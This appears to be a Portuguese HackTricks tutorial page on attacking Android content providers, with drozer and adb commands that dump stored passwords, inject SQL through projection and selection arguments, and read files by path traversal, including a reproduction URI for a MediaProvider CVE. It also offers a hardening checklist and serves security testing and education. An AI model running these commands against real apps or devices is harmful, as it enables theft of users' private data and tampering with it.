235 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Exploiting Content Providers
{{#include ../../../banners/hacktricks-training.md}}
## Intro
Os dados são **fornecidos de um aplicativo para outros** mediante solicitação por um componente conhecido como **content provider**. Essas solicitações são gerenciadas através dos métodos da **ContentResolver class**. Os content providers podem armazenar seus dados em vários locais, como um **banco de dados**, **arquivos** ou através de uma **rede**.
No arquivo _Manifest.xml_, a declaração do content provider é necessária. Por exemplo:
```xml
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```
Para acessar `content://com.mwr.example.sieve.DBContentProvider/Keys`, a permissão `READ_KEYS` é necessária. É interessante notar que o caminho `/Keys/` é acessível na seção seguinte, que não está protegida devido a um erro do desenvolvedor, que protegeu `/Keys` mas declarou `/Keys/`.
**Talvez você possa acessar dados privados ou explorar alguma vulnerabilidade (SQL Injection ou Path Traversal).**
## Obter informações de **provedores de conteúdo expostos**
```
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```
É possível juntar como acessar o **DBContentProvider** começando URIs com “_content://_”. Essa abordagem é baseada em insights obtidos ao usar o Drozer, onde informações chave estavam localizadas no diretório _/Keys_.
Drozer pode **adivinhar e tentar várias URIs**:
```
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```
Você também deve verificar o **código do ContentProvider** para procurar por consultas:
![](<../../../images/image (121) (1) (1) (1).png>)
Além disso, se você não conseguir encontrar consultas completas, pode **verificar quais nomes são declarados pelo ContentProvider** no método `onCreate`:
![](<../../../images/image (564).png>)
A consulta será como: `content://name.of.package.class/declared_name`
## **Content Providers baseados em Banco de Dados**
Provavelmente, a maioria dos Content Providers é usada como **interface** para um **banco de dados**. Portanto, se você puder acessá-lo, poderá **extrair, atualizar, inserir e deletar** informações.\
Verifique se você pode **acessar informações sensíveis** ou tente alterá-las para **contornar mecanismos de autorização**.
Ao verificar o código do Content Provider, **procure** também por **funções** nomeadas como: _query, insert, update e delete_:
![](<../../../images/image (887).png>)
![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>)
Porque você poderá chamá-las
### Consultar conteúdo
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```
### Inserir conteúdo
Consultando o banco de dados, você aprenderá o **nome das colunas**, então, você poderá inserir dados no DB:
![](<../../../images/image (98).png>)
![](<../../../images/image (173).png>)
_Observe que em insert e update você pode usar --string para indicar string, --double para indicar um double, --float, --integer, --long, --short, --boolean_
### Atualizar conteúdo
Sabendo o nome das colunas, você também pode **modificar as entradas**:
![](<../../../images/image (780).png>)
### Deletar conteúdo
![](<../../../images/image (423).png>)
### **SQL Injection**
É simples testar para SQL injection **(SQLite)** manipulando os **campos de projeção** e **seleção** que são passados para o content provider.\
Ao consultar o Content Provider, há 2 argumentos interessantes para buscar informações: _--selection_ e _--projection_:
![](<../../../images/image (784).png>)
Você pode tentar **abusar** desses **parâmetros** para testar por **SQL injections**:
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
```
**Descoberta automática de SQL Injection pelo Drozer**
```
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
```
## **Provedores de Conteúdo Baseados em Sistema de Arquivos**
Os provedores de conteúdo também podem ser usados para **acessar arquivos:**
![](<../../../images/image (407).png>)
### Ler **arquivo**
Você pode ler arquivos do Provedor de Conteúdo
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
### **Path Traversal**
Se você pode acessar arquivos, pode tentar abusar de um Path Traversal (neste caso, isso não é necessário, mas você pode tentar usar "_../_" e truques semelhantes).
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
**Descoberta automática de Path Traversal pelo Drozer**
```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
```
## 2023-2025 Atualizações & Dicas Modernas
### Drozer 3.x (Python 3) está disponível
A WithSecure retomou a manutenção do drozer em 2022 e portou o framework para **Python 3** (último **3.1.0 Abril de 2024**).
Além de correções de compatibilidade, novos módulos que são particularmente úteis ao trabalhar com Content Providers incluem:
* `scanner.provider.exported` lista apenas provedores com `android:exported="true"`.
* `app.provider.grant` chama automaticamente `grantUriPermission()` para que você possa se comunicar com provedores que esperam `FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION` no Android 12+.
* Melhor manuseio de **Scoped Storage** para que provedores baseados em arquivos no Android 11+ ainda possam ser acessados.
Atualize (host & agente):
```bash
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
```
### Usando o helper `cmd content` embutido (ADB ≥ 8.0)
Todos os dispositivos Android modernos vêm com um CLI que pode consultar/atualizar provedores **sem instalar nenhum agente**:
```bash
adb shell cmd content query --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call --uri content://com.test.provider \
--method evilMethod --arg 'foo'
```
Combine com `run-as <pkg>` ou um shell com root para testar provedores apenas internos.
### CVEs recentes do mundo real que abusaram de Provedores de Conteúdo
| CVE | Ano | Componente | Classe de bug | Impacto |
|-----|------|-----------|---------------|--------|
| CVE-2024-43089 | 2024 | MediaProvider | Traversal de caminho em `openFile()` | Leitura de arquivo arbitrário do armazenamento privado de qualquer app |
| CVE-2023-35670 | 2023 | MediaProvider | Traversal de caminho | Divulgação de informações |
Recrie CVE-2024-43089 em uma build vulnerável:
```bash
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
```
### Lista de verificação de hardening para API 30+
* Declare `android:exported="false"` a menos que o provedor **deva** ser público a partir da API 31, o atributo é obrigatório.
* Aplique **permissões** e/ou `android:grantUriPermissions="true"` em vez de exportar todo o provedor.
* Liste os argumentos permitidos de `projection`, `selection` e `sortOrder` (por exemplo, construa consultas com `SQLiteQueryBuilder.setProjectionMap`).
* No `openFile()`, canonicize o caminho solicitado (`FileUtils`) e rejeite sequências `..` para evitar travessia.
* Ao expor arquivos, prefira **Storage Access Framework** ou um `FileProvider`.
Essas mudanças nas versões recentes do Android significam que muitos primitivos de exploração legados ainda funcionam, mas requerem flags/permissões adicionais que os módulos drozer atualizados ou o helper `cmd content` podem aplicar automaticamente.
## Referências
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
- [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
- [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01)
{{#include ../../../banners/hacktricks-training.md}}